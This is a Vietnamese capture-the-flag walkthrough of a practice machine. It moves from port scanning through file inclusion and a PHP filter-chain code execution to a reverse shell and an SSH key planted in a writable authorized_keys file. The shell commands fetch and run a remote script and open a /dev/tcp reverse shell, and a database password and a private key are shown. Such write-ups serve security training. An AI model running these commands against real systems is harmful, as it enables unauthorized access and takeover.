Icon

Cheese CTF

Inspired by the great cheese talk of THM!

November 4, 2025 July 21, 2025 Easy
Author Author Hung Nguyen Tuong

Initial Reconnaissance

Service Scanning

Đầu tiên, chúng ta quét target để tìm các port đang mở bằng Nmap.

$ sudo nmap -sS -sV -sC -T4 -vv 10.10.23.113

Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-21 13:04 +07
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:04
Completed NSE at 13:04, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 13:04
Completed NSE at 13:04, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 13:04
Completed NSE at 13:04, 0.00s elapsed
Initiating Ping Scan at 13:04
Scanning 10.10.23.113 [4 ports]
Completed Ping Scan at 13:04, 0.27s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 13:04
Completed Parallel DNS resolution of 1 host. at 13:04, 0.00s elapsed
Initiating SYN Stealth Scan at 13:04
Scanning 10.10.23.113 (10.10.23.113) [1000 ports]
Discovered open port 3306/tcp on 10.10.23.113
Discovered open port 8888/tcp on 10.10.23.113
Discovered open port 135/tcp on 10.10.23.113
Discovered open port 113/tcp on 10.10.23.113
Discovered open port 3389/tcp on 10.10.23.113
Discovered open port 587/tcp on 10.10.23.113
Discovered open port 5900/tcp on 10.10.23.113
Discovered open port 49155/tcp on 10.10.23.113
Discovered open port 80/tcp on 10.10.23.113
Discovered open port 25/tcp on 10.10.23.113
Discovered open port 995/tcp on 10.10.23.113
Discovered open port 23/tcp on 10.10.23.113
Discovered open port 21/tcp on 10.10.23.113
Discovered open port 22/tcp on 10.10.23.113
Discovered open port 2492/tcp on 10.10.23.113
Discovered open port 1720/tcp on 10.10.23.113
Discovered open port 5718/tcp on 10.10.23.113
Discovered open port 110/tcp on 10.10.23.113
Discovered open port 1723/tcp on 10.10.23.113
Discovered open port 199/tcp on 10.10.23.113
Discovered open port 256/tcp on 10.10.23.113
Discovered open port 993/tcp on 10.10.23.113
Discovered open port 8080/tcp on 10.10.23.113
Discovered open port 14238/tcp on 10.10.23.113
Discovered open port 1131/tcp on 10.10.23.113
Discovered open port 544/tcp on 10.10.23.113
Discovered open port 1082/tcp on 10.10.23.113
Discovered open port 1417/tcp on 10.10.23.113

Kết quả quét cho thấy có quá nhiều port mở, điều này do target có thể đang sử dụng Honeypot để đánh lạc hướng attacker. Vì vậy, chúng ta chọn ra một số port đáng chú ý để quét lại:

$ sudo nmap -sS -sV -sC -p80,21,22,139,445,23,25 -T4 -vv 10.10.23.113

PORT    STATE SERVICE      REASON         VERSION
21/tcp  open  ftp?         syn-ack ttl 60
|_ssl-cert: ERROR: Script execution failed (use -d to debug)
|_ssl-date: ERROR: Script execution failed (use -d to debug)
|_tls-alpn: ERROR: Script execution failed (use -d to debug)
|_ftp-bounce: ERROR: Script execution failed (use -d to debug)
|_ftp-anon: ERROR: Script execution failed (use -d to debug)
|_sslv2: ERROR: Script execution failed (use -d to debug)
|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NULL, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, X11Probe:
|_    550 12345 0f7000f800770008777000000000000000f80008f7f70088000cf00
|_ftp-syst: ERROR: Script execution failed (use -d to debug)
22/tcp  open  ssh          syn-ack ttl 60 OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 7a:12:b5:dd:38:39:e2:f5:8f:2f:5d:bc:86:b1:59:24 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCkluzzzk/RFrGdEKjjvOE2XruxezGQaBMtg+GqS0Go62w/HyrA1W8bQW1L/4E21eqQFshPpmrDOn40HmZ2E8XaqXZyl3MbaSK3syAOscN1MQqKvedazTZeegYP+bb9ZMLnVcgt9MzRO8AMUeYntG+aFPbV2W1LmAsZS8p2ImA/Ehj2ZqPM7J8FbkQ6+lJfBJzZfqtKaxL6j5pfz/gPxsjRo7DOWFLDP3p2m8Z5fD0fsyz45MOVWTrttEjqt8Qx8WLf3RZTCoviV7YWRilLWI9vEoe/LVDzjNkjm+0EnmQUX3673FfBjBo00hLmc0fxP1X7BC0wEUr5D8leOLcpE6X9tTcKS17VtyI+ouGCbKzz8hEg8A5MM1KSuWzOuMnPF4N+g5Q37LrENj7OU9xrBoRA7dzQwgFHFnRb0/B0RYW5TC78XEucSsz8sMA9v9ppScK1IKlu+QDfs+u/1h72d+4o47zGu0LOSijkOBOT56kmIbq7NCiNTquz/x/3bXFszL0=
|   256 67:10:db:5c:2a:c7:36:ea:7c:49:ec:1a:79:22:57:dc (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIDhATvRikQpzSYbxP088Chs4T/C+h5DQZkTOAcJ6WEh6TNOjVeWNJ2f9Bc7sW3YV5/rsuJw4nRf16ixm+18FDU=
|   256 ed:21:d1:b5:db:f8:7e:2f:54:67:50:c7:59:7d:a2:fa (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN0PC8j/cCuY1jcRcKCITE3P6CkDzZ186+aiDgiFQq0+
23/tcp  open  telnet?      syn-ack ttl 60
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NULL, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServerCookie, X11Probe, tn3270:
|_    550 12345 0f8008707ff07ff8000008088ff800000000f7000000f800808ff00
25/tcp  open  smtp?        syn-ack ttl 60
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Hello, Help, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NULL, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServerCookie, X11Probe:
|_    550 12345 0ff0808800cf0000ffff70000f877f70000c70008008ff8088fff00
|_smtp-commands: SMTP EHLO 10.10.23.113: failed to receive data: connection closed
80/tcp  open  http         syn-ack ttl 60 Apache httpd 2.4.41 ((Ubuntu))
|_http-title: The Cheese Shop
| http-methods:
|_  Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.41 (Ubuntu)
139/tcp open  netbios-ssn? syn-ack ttl 60
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NULL, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, X11Probe:
|_    (Eggdrop v518298077+rc5(C) 1997 Robey PointervEggheads
445/tcp open  http         syn-ack ttl 60 Rumpus httpd
|_http-server-header: Rumpus
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title.
Service Info: OSs: Linux, Mac OS X; CPE: cpe:/o:linux:linux_kernel, cpe:/o:apple:mac_os_x

Kết quả lần này cho thấy chỉ có port 22 (SSH) và port 80 (HTTP) là có vẻ hợp lệ.

HTTP 80

image.png

Directory Enumeration

Tiếp theo, chúng ta dùng gobuster để quét directory.

$ gobuster dir -u http://10.10.23.113/ -w /usr/share/wordlists/dirb/common.txt -t 128 -x php,txt,html,py -b 404,403

/images               (Status: 301) [Size: 313] [--> http://10.10.23.113/images/]
/index.html           (Status: 200) [Size: 1759]
/login.php            (Status: 200) [Size: 834]
/messages.html        (Status: 200) [Size: 448]
/orders.html          (Status: 200) [Size: 380]
/users.html           (Status: 200) [Size: 377]
/images

image.png

Chỉ có vài hình ảnh nhưng không có gì đáng chú ý.

/login.php

image.png

Chúng ta thử một số cặp credentials mặc định như admin:admin, admin:password, root:root, nhưng không cái nào hoạt động. Thử thêm SQL Injection cũng không mang lại kết quả.

image.png

/messages.html

image.png

Click vào Message!:

image.png

Điều tra kỹ hơn, chúng ta phát hiện thêm một file nằm ở đường dẫn /secret_script.php mà gobuster không quét ra được.

/secret-script.php

image.png

Local File Inclusion

Khi xem xét URL /secret-script.php, ta nhận thấy nó có thể dính lỗ hổng Local File Inclusion (LFI). Để kiểm tra sâu hơn, chúng ta dùng Burp Suite.

/etc/passwd

Chúng ta xác nhận được LFI tồn tại bằng cách đọc nội dung file /etc/passwd.

image.png

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
comte:x:1000:1000:comte:/home/comte:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:114:119:MySQL Server,,,:/nonexistent:/bin/false
ubuntu:x:1001:1002:Ubuntu:/home/ubuntu:/bin/bash

login.php

Sau đó, để hiểu rõ logic của trang login, chúng ta xem source code. Ở đây cần phải qua một lớp filter base64 để đọc được source code .php.

image.png

Ta decode base64:

┌──(hungnt㉿kali)-[~/Desktop]
└─$ echo PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+CiAgICA8dGl0bGU+TG9naW4gUGFnZTwvdGl0bGU+CiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9ImxvZ2luLmNzcyI+CjwvaGVhZD4KPGJvZHk+CiAgICA8ZGl2IGNsYXNzPSJsb2dpbi1jb250YWluZXIiPgogICAgICAgIDxoMT5Mb2dpbjwvaDE+CiAgICAgICAgCiAgICAgICAgPGZvcm0gbWV0aG9kPSJQT1NUIj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCI+CiAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSJ1c2VybmFtZSI+VXNlcm5hbWU8L2xhYmVsPgogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIGlkPSJ1c2VybmFtZSIgbmFtZT0idXNlcm5hbWUiIHJlcXVpcmVkPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCI+CiAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSJwYXNzd29yZCI+UGFzc3dvcmQ8L2xhYmVsPgogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InBhc3N3b3JkIiBpZD0icGFzc3dvcmQiIG5hbWU9InBhc3N3b3JkIiByZXF1aXJlZD4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0Ij5Mb2dpbjwvYnV0dG9uPgogICAgICAgIDwvZm9ybT4KICAgICAgICAKICAgIDwvZGl2PgogICAgPD9waHAKLy8gUmVwbGFjZSB0aGVzZSB3aXRoIHlvdXIgZGF0YWJhc2UgY3JlZGVudGlhbHMKJHNlcnZlcm5hbWUgPSAibG9jYWxob3N0IjsKJHVzZXIgPSAiY29tdGUiOwokcGFzc3dvcmQgPSAiVmVyeUNoZWVzeVBhc3N3b3JkIjsKJGRibmFtZSA9ICJ1c2VycyI7CgovLyBDcmVhdGUgYSBjb25uZWN0aW9uIHRvIHRoZSBkYXRhYmFzZQokY29ubiA9IG5ldyBteXNxbGkoJHNlcnZlcm5hbWUsICR1c2VyLCAkcGFzc3dvcmQsICRkYm5hbWUpOwoKLy8gQ2hlY2sgdGhlIGNvbm5lY3Rpb24KaWYgKCRjb25uLT5jb25uZWN0X2Vycm9yKSB7CiAgICBlY2hvICRjb25uLT5jb25uZWN0X2Vycm9yOwogICAgZGllKCJDb25uZWN0aW9uIGZhaWxlZDogIiAuICRjb25uLT5jb25uZWN0X2Vycm9yKTsKCn0KCi8vIEhhbmRsZSBmb3JtIHN1Ym1pc3Npb24KaWYgKCRfU0VSVkVSWyJSRVFVRVNUX01FVEhPRCJdID09ICJQT1NUIikgewogICAgJHVzZXJuYW1lID0gJF9QT1NUWyJ1c2VybmFtZSJdOwogICAgJHBhc3MgPSAkX1BPU1RbInBhc3N3b3JkIl07CiAgICBmdW5jdGlvbiBmaWx0ZXJPclZhcmlhdGlvbnMoJGlucHV0KSB7CiAgICAgLy9Vc2UgY2FzZS1pbnNlbnNpdGl2ZSByZWd1bGFyIGV4cHJlc3Npb24gdG8gZmlsdGVyICdPUicsICdvcicsICdPcicsIGFuZCAnb1InCiAgICAkZmlsdGVyZWQgPSBwcmVnX3JlcGxhY2UoJy9cYltvT11bclJdXGIvJywgJycsICRpbnB1dCk7CiAgICAKICAgIHJldHVybiAkZmlsdGVyZWQ7Cn0KICAgICRmaWx0ZXJlZElucHV0ID0gZmlsdGVyT3JWYXJpYXRpb25zKCR1c2VybmFtZSk7CiAgICAvL2VjaG8oJGZpbHRlcmVkSW5wdXQpOwogICAgLy8gSGFzaCB0aGUgcGFzc3dvcmQgKHlvdSBzaG91bGQgdXNlIGEgc3Ryb25nZXIgaGFzaGluZyBhbGdvcml0aG0pCiAgICAkaGFzaGVkX3Bhc3N3b3JkID0gbWQ1KCRwYXNzKTsKICAgIAogICAgCiAgICAvLyBRdWVyeSB0aGUgZGF0YWJhc2UgdG8gY2hlY2sgaWYgdGhlIHVzZXIgZXhpc3RzCiAgICAkc3FsID0gIlNFTEVDVCAqIEZST00gdXNlcnMgV0hFUkUgdXNlcm5hbWU9JyRmaWx0ZXJlZElucHV0JyBBTkQgcGFzc3dvcmQ9JyRoYXNoZWRfcGFzc3dvcmQnIjsKICAgICRyZXN1bHQgPSAkY29ubi0+cXVlcnkoJHNxbCk7CiAgICAkc3RhdHVzID0gIiI7CiAgICBpZiAoJHJlc3VsdC0+bnVtX3Jvd3MgPT0gMSkgewogICAgICAgIC8vIEF1dGhlbnRpY2F0aW9uIHN1Y2Nlc3NmdWwKICAgICAgICAkc3RhdHVzID0gIkxvZ2luIHN1Y2Nlc3NmdWwhIjsKICAgICAgICAgaGVhZGVyKCJMb2NhdGlvbjogc2VjcmV0LXNjcmlwdC5waHA/ZmlsZT1zdXBlcnNlY3JldGFkbWlucGFuZWwuaHRtbCIpOwogICAgICAgICBleGl0OwogICAgfSBlbHNlIHsKICAgICAgICAvLyBBdXRoZW50aWNhdGlvbiBmYWlsZWQKICAgICAgICAgJHN0YXR1cyA9ICJMb2dpbiBmYWlsZWQuIFBsZWFzZSBjaGVjayB5b3VyIHVzZXJuYW1lIGFuZCBwYXNzd29yZC4iOwogICAgfQp9Ci8vIENsb3NlIHRoZSBkYXRhYmFzZSBjb25uZWN0aW9uCiRjb25uLT5jbG9zZSgpOwo/Pgo8ZGl2IGlkID0gInN0YXR1cyI+PD9waHAgZWNobyAkc3RhdHVzOyA/PjwvZGl2Pgo8L2JvZHk+CjwvaHRtbD4K | base64 -d
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Login Page</title>
    <link rel="stylesheet" href="login.css">
</head>
<body>
    <div class="login-container">
        <h1>Login</h1>

        <form method="POST">
            <div class="form-group">
                <label for="username">Username</label>
                <input type="text" id="username" name="username" required>
            </div>
            <div class="form-group">
                <label for="password">Password</label>
                <input type="password" id="password" name="password" required>
            </div>
            <button type="submit">Login</button>
        </form>

    </div>
    <?php
// Replace these with your database credentials
$servername = "localhost";
$user = "comte";
$password = "VeryCheesyPassword";
$dbname = "users";

// Create a connection to the database
$conn = new mysqli($servername, $user, $password, $dbname);

// Check the connection
if ($conn->connect_error) {
    echo $conn->connect_error;
    die("Connection failed: " . $conn->connect_error);

}

// Handle form submission
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $username = $_POST["username"];
    $pass = $_POST["password"];
    function filterOrVariations($input) {
		     //Use case-insensitive regular expression to filter 'OR', 'or', 'Or', and 'oR'
		    $filtered = preg_replace('/\b[oO][rR]\b/', '', $input);

		    return $filtered;
		}
    $filteredInput = filterOrVariations($username);
    //echo($filteredInput);
    // Hash the password (you should use a stronger hashing algorithm)
    $hashed_password = md5($pass);


    // Query the database to check if the user exists
    $sql = "SELECT * FROM users WHERE username='$filteredInput' AND password='$hashed_password'";
    $result = $conn->query($sql);
    $status = "";
    if ($result->num_rows == 1) {
        // Authentication successful
        $status = "Login successful!";
         header("Location: secret-script.php?file=supersecretadminpanel.html");
         exit;
    } else {
        // Authentication failed
         $status = "Login failed. Please check your username and password.";
    }
}
// Close the database connection
$conn->close();
?>
<div id = "status"><?php echo $status; ?></div>
</body>
</html>

Sau khi decode base64, ta thấy trong source code có kiểm tra username và password. Username thì bị filter, password thì được hash, vì vậy không thể bypass authentication bằng SQL Injection.

$servername = "localhost";
$user = "comte";
$password = "VeryCheesyPassword";
$dbname = "users";

Thường thì người dùng sẽ tái sử dụng mật khẩu ở nhiều nơi, nên chúng ta thử dùng credentials này.

Khi thử đăng nhập trực tiếp vào trang login bằng credentials đó thì không thành công.

image.png

Chúng ta tiếp tục thử dùng chúng để đăng nhập SSH vào máy, nhưng cũng thất bại.

┌──(hungnt㉿kali)-[~/Desktop]
└─$ ssh comte@10.10.23.113
comte@10.10.23.113's password:
Permission denied, please try again.

Cuối cùng, thử kết nối đến MySQL service với credentials này nhưng cũng không thành công.

┌──(hungnt㉿kali)-[~/Desktop]
└─$ mysql -h 10.10.23.113 -u comte -p
Enter password:
ERROR 2013 (HY000): Lost connection to server at 'handshake: reading initial communication packet', system error: 11

Remote File Inclusion

Chúng ta bắt đầu bằng cách dựng một Python HTTP Server đơn giản và serve một file ví dụ như sau:

┌──(hungnt㉿kali)-[~/Desktop]
└─$ cat test.txt
<?php echo "Hello THM"; ?>

image.png

Chúng ta có thể kết luận rằng nó không bị ảnh hưởng bởi Remote File Inclusion (RFI).

LFI to RCE

Sau khi tìm hiểu thêm trên Google, chúng ta phát hiện rằng có thể biến Local File Inclusion (LFI) thành Remote Code Execution (RCE) bằng cách sử dụng PHP filters chain. Đây là một kỹ thuật cho phép lợi dụng LFI để thực thi code từ xa.

Chúng ta thử áp dụng kỹ thuật này để chạy lệnh id, và kết quả hoạt động đúng như mong đợi.

┌──(hungnt㉿kali)-[~/Desktop/php_filter_chain_generator]
└─$ py php_filter_chain_generator.py --chain "<?php echo shell_exec('id'); ?>"
[+] The following gadget chain will generate the following code : <?php echo shell_exec('id'); ?> (base64 value: PD9waHAgZWNobyBzaGVsbF9leGVjKCdpZCcpOyA/Pg)
php://filter/convert.iconv.UTF8.CSISO2022KR...

image.png

Shell as www-data

Tiếp theo, chúng ta thiết lập một reverse shell với quyền của www-data vào hệ thống.

┌──(hungnt㉿kali)-[~/Desktop/php_filter_chain_generator]
└─$ cat revshell
/bin/bash -i >& /dev/tcp/10.17.21.52/4242 0>&1

┌──(hungnt㉿kali)-[~/Desktop/php_filter_chain_generator]
└─$ py php_filter_chain_generator.py --chain '<?= `curl -s -L 10.17.21.52/revshell|bash` ?>'
[+] The following gadget chain will generate the following code : <?= `curl -s -L 10.17.21.52/revshell|bash` ?> (base64 value: PD89IGBjdXJsIC1zIC1MIDEwLjE3LjIxLjUyL3JldnNoZWxsfGJhc2hgID8+)
php://filter/convert.iconv.UTF8.CSISO2022KR....

┌──(hungnt㉿kali)-[~/Desktop/php_filter_chain_generator]
└─$ py -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

image.png

Super Secret Message

www-data@ip-10-10-23-113:/var/www/html$ ls -la
ls -la
total 56
drwxr-xr-x 3 root root 4096 Sep 27  2023 .
drwxr-xr-x 3 root root 4096 Sep 27  2023 ..
-rw-r--r-- 1 root root  562 Sep 13  2023 adminpanel.css
drwxr-xr-x 2 root root 4096 Sep 27  2023 images
-rw-r--r-- 1 root root 1759 Sep 10  2023 index.html
-rw-r--r-- 1 root root  966 Sep 10  2023 login.css
-rw-r--r-- 1 root root 2391 Sep 16  2023 login.php
-rw-r--r-- 1 root root  448 Sep 13  2023 messages.html
-rw-r--r-- 1 root root  380 Sep 13  2023 orders.html
-rw-r--r-- 1 root root  113 Sep 11  2023 secret-script.php
-rw-r--r-- 1 root root  705 Sep 10  2023 style.css
-rw-r--r-- 1 root root  808 Sep 13  2023 supersecretadminpanel.html
-rw-r--r-- 1 root root   25 Sep 13  2023 supersecretmessageforadmin
-rw-r--r-- 1 root root  377 Sep 13  2023 users.html
www-data@ip-10-10-23-113:/var/www/html$ cat supersecretmessageforadmin
cat supersecretmessageforadmin
If you know, you know :D
www-data@ip-10-10-23-113:/var/www/html$ cd /home/comte
cd /home/comte
www-data@ip-10-10-23-113:/home/comte$ ls -la
ls -la
total 52
drwxr-xr-x 7 comte comte 4096 Apr  4  2024 .
drwxr-xr-x 4 root  root  4096 Jul 21 05:51 ..
-rw------- 1 comte comte   55 Apr  4  2024 .Xauthority
lrwxrwxrwx 1 comte comte    9 Apr  4  2024 .bash_history -> /dev/null
-rw-r--r-- 1 comte comte  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 comte comte 3771 Feb 25  2020 .bashrc
drwx------ 2 comte comte 4096 Sep 27  2023 .cache
drwx------ 3 comte comte 4096 Mar 25  2024 .gnupg
drwxrwxr-x 3 comte comte 4096 Mar 25  2024 .local
-rw-r--r-- 1 comte comte  807 Feb 25  2020 .profile
drwxr-xr-x 2 comte comte 4096 Mar 25  2024 .ssh
-rw-r--r-- 1 comte comte    0 Sep 27  2023 .sudo_as_admin_successful
drwx------ 3 comte comte 4096 Mar 25  2024 snap
-rw------- 1 comte comte 4276 Sep 15  2023 user.txt
www-data@ip-10-10-23-113:/home/comte$ cat user.txt
cat user.txt
cat: user.txt: Permission denied

Tuy nhiên, tại thời điểm này chúng ta chưa có quyền đọc file user.txt. Chúng ta sẽ tiếp tục enumerate database bằng password đã tìm thấy trước đó.

Database Enumeration

www-data@ip-10-10-23-113:/$ mysql -u comte -p
mysql -u comte -p
Enter password: VeryCheesyPassword

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 273
Server version: 10.3.39-MariaDB-0ubuntu0.20.04.2 Ubuntu 20.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> use users;
use users;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [users]> select * from users;
select * from users;
+----+----------+----------------------------------+
| id | username | password                         |
+----+----------+----------------------------------+
|  1 | comte    | 5b0c2e1b4fe1410e47f26feff7f4fc4c |
+----+----------+----------------------------------+
1 row in set (0.000 sec)

Chúng ta không tìm thấy gì đáng chú ý, ngoài password mà chúng ta đã biết từ trước.

LinPEAS

Ta tiếp tục sử dụng LinPEAS để quét các vector leo quyền:

image.png

Chúng ta phát hiện rằng mình có quyền ghi vào file /etc/systemd/system/exploit.timer. Đồng thời, chúng ta cũng có quyền ghi vào file authorized_keys của user comte.

image.png

Từ đây, chúng ta có thể tạo một cặp public/private key mới, sau đó SSH vào hệ thống dưới user comte bằng cách thêm public key vừa tạo vào authorized_keys.

┌──(hungnt㉿kali)-[~/Desktop/Polkit-exploit]
└─$ ssh-keygen
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/hungnt/.ssh/id_ed25519):
Enter passphrase for "/home/hungnt/.ssh/id_ed25519" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/hungnt/.ssh/id_ed25519
Your public key has been saved in /home/hungnt/.ssh/id_ed25519.pub
The key fingerprint is:
SHA256:gx4hDVbrC/NHOLmzfnu/5cItyZjUCCQp5Yr+6CtdK1s hungnt@kali
The key's randomart image is:
+--[ED25519 256]--+
|    ooo.         |
|   ..+o..        |
|    ..=o         |
|   . + =.        |
|  . + B S. o     |
| .  .= * .o .    |
| ...E.* .. = o.  |
|. o+.  +. + *o.  |
| o=+..o..o .o+.  |
+----[SHA256]-----+

┌──(hungnt㉿kali)-[~/Desktop]
└─$ cat /home/hungnt/.ssh/id_ed25519.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMqo1XOrs5ik11PZ24cqw0qiHJy6fij1T29uoNMLbrAf hungnt@kali

┌──(hungnt㉿kali)-[~/Desktop]
└─$ cat /home/hungnt/.ssh/id_ed25519
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDKqNVzq7OYpNdT2duHKsNKohycun4o9U9vbqDTC26wHwAAAJDBoLy/waC8
vwAAAAtzc2gtZWQyNTUxOQAAACDKqNVzq7OYpNdT2duHKsNKohycun4o9U9vbqDTC26wHw
AAAEAQLj07XDcF90xgGrAj4ZWr7TTXHT8bmUMotdyIItikc8qo1XOrs5ik11PZ24cqw0qi
HJy6fij1T29uoNMLbrAfAAAAC2h1bmdudEBrYWxpAQI=
-----END OPENSSH PRIVATE KEY-----
www-data@ip-10-10-23-113:/home/comte$ ls -la
ls -la
total 52
drwxr-xr-x 7 comte comte 4096 Apr  4  2024 .
drwxr-xr-x 4 root  root  4096 Jul 21 05:51 ..
-rw------- 1 comte comte   55 Apr  4  2024 .Xauthority
lrwxrwxrwx 1 comte comte    9 Apr  4  2024 .bash_history -> /dev/null
-rw-r--r-- 1 comte comte  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 comte comte 3771 Feb 25  2020 .bashrc
drwx------ 2 comte comte 4096 Sep 27  2023 .cache
drwx------ 3 comte comte 4096 Mar 25  2024 .gnupg
drwxrwxr-x 3 comte comte 4096 Mar 25  2024 .local
-rw-r--r-- 1 comte comte  807 Feb 25  2020 .profile
drwxr-xr-x 2 comte comte 4096 Mar 25  2024 .ssh
-rw-r--r-- 1 comte comte    0 Sep 27  2023 .sudo_as_admin_successful
drwx------ 3 comte comte 4096 Mar 25  2024 snap
-rw------- 1 comte comte 4276 Sep 15  2023 user.txt
www-data@ip-10-10-23-113:/home/comte$ cd .ssh
cd .ssh
www-data@ip-10-10-23-113:/home/comte/.ssh$ ls -la
ls -la
total 8
drwxr-xr-x 2 comte comte 4096 Mar 25  2024 .
drwxr-xr-x 7 comte comte 4096 Apr  4  2024 ..
-rw-rw-rw- 1 comte comte    0 Mar 25  2024 authorized_keys
www-data@ip-10-10-23-113:/home/comte/.ssh$ echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMqo1XOrs5ik11PZ24cqw0qiHJy6fij1T29uoNMLbrAf hungnt@kali" > authorized_keys
<9uoNMLbrAf hungnt@kali" > authorized_keys
www-data@ip-10-10-23-113:/home/comte/.ssh$ cat authorized_keys
cat authorized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMqo1XOrs5ik11PZ24cqw0qiHJy6fij1T29uoNMLbrAf hungnt@kali

Shell as comte

┌──(hungnt㉿kali)-[~/Desktop]
